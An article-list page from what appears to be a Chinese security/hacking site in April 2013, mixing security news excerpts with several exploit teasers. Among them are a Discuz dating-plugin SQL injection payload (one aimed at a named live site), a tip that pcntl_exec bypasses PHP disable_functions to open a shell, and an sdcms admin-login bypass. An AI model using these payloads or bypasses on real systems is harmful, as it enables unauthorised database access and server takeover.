文章列表

Facebook Home遭黑客修改:可移植到其他手机上

黑客们的实力真的不能小瞧。在Facebook Home定制系统登陆Google Play商店仅仅几个小时之后,黑客们便对Facebook Home系统的启动项进行了修改,去除了Facebook Home目前只能用于HTC First等特定设备的限制。这意味着现在Facebook Home系统已经可以被应用到所有的Android手机上。    才华横溢的黑客

2013-4-19 23:32 3 1897

最新Discuz交友插件漏洞附EXP

DZ交友插件漏洞jiaoyou.php?pid=1有的注入需要登录,注入代码如下:' or @`'` and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

2013-4-17 23:02 21 5636

最新DZ X2.5 0DAY (By saviour) 附EXP

DZ 插件注入漏洞!前几天看COG发布 但阅读权限得200 (管理员才可以查看) 刚去看了下已经公开了 所以我就转过来了Exp:http://www.gzcity.com/jiaoyou.php?pid=1' or @`'` and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e)) from informatio

2013-4-17 20:13 42 7306

PHP被遗漏的执行函数

我见很多管理员在封杀PHP危险函数的时候一般都是这样的:disable_functions = proc_open,exec,passthru,shell_exec,system,popen但是如果编译PHP时带--enable-pcntl参数就危险了,可以用pcntl_exec函数执行指定程序,也可以反弹一个SHELL,在PHPINFO里查看编译参数。描述:pcntl_exec — 在当前进程空

2013-4-17 01:53 68 10220

sdcms2.0后台绕过直接进入

By Cr4zyIslogin //判断登录的方法sub islogin()if sdcms.strlen(adminid)=0 or sdcms.strlen(adminname)=0 then dim t0,t1,t2t0=sdcms.getint(sdcms.loadcookie("adminid"),0) loadcookie t1=sdcms.loadcookie("islogin")t2=sdcms.loadcookie("loginkey")if sdcms.strlen(t0)=0 or sdcms.strlen(t1)=

2013-4-16 20:42 10 9285

几小时即可使互联网瘫痪的黑客已加入谷歌

计算机安全专家Peter Zatko提到Peter Zatko或许知道的人没多少,但如果提到Mudge或许熟知的人就比较多了。是的,Mudge(下文使用其真实原名:Peter Zatko)是世界著名黑客小组CDC和“黑客智囊团”L0pht的成员,他曾宣称几小时内便可令互联网瘫痪。而后他作为一名计算机安全专家,投身于美国国防部领导

2013-4-15 13:04 10 4236

卡巴斯基发现专门针对网游公司的中国黑客组织

卡巴斯基实验室公布了对中国(疑似)黑客组织Winnti的详细分析报告(PDF),发现该组织与最近发生的许多攻击事件存在千丝万缕的联系。Winnti组织专门针对游戏公司托管的服务器,窃取源代码创建私服,同时盗窃钱财或虚拟货币。它攻击了超过30家网络游戏公司,受害者包括了2家北美公司,14家韩国公司,2家

2013-4-14 12:20 10 4945

维基解密公开170多万份美国外交记录

因在3年前公开25万多份美国外交密电而声名大噪的维基解密8日再次出招,公开了上世纪70年代以来170多万份美国外交和情报文件。这170多万份文件的日期跨度从1973年1月1日到1976年12月31日,包括外交电报、情报报告和国会通讯等,很多文件是由亨利·基辛格发出或接收的,有的还需要他本人亲启,因此维基解

2013-4-13 16:14 1 1948

iOS6.1.3完美越狱最新消息 黑客称iOS漏洞百出

一年一度的HITB(HackInTheBox)黑客大会已经进入尾声,Evad3rs也作为本次大会的压轴团队登场了。pod2g(Cyril)、planetbeing(DavidWang)、pimskeks(NikiasBassen)以及肌肉男悉数聚集到HITB大会现场,为到场的所有黑客以及破解爱好者进行了一番iOS 6越狱的演讲。 我们已经知道Evad3rs不会开发iOS6.1.3

2013-4-12 16:33 6 2572
766游戏网(766.com) XSS跨站漏洞+信息泄露漏洞

766游戏网(766.com) XSS跨站漏洞+信息泄露漏洞

766游戏网(766.com) XSS跨站漏洞+信息泄露漏洞

2013-4-12 15:33 0 5617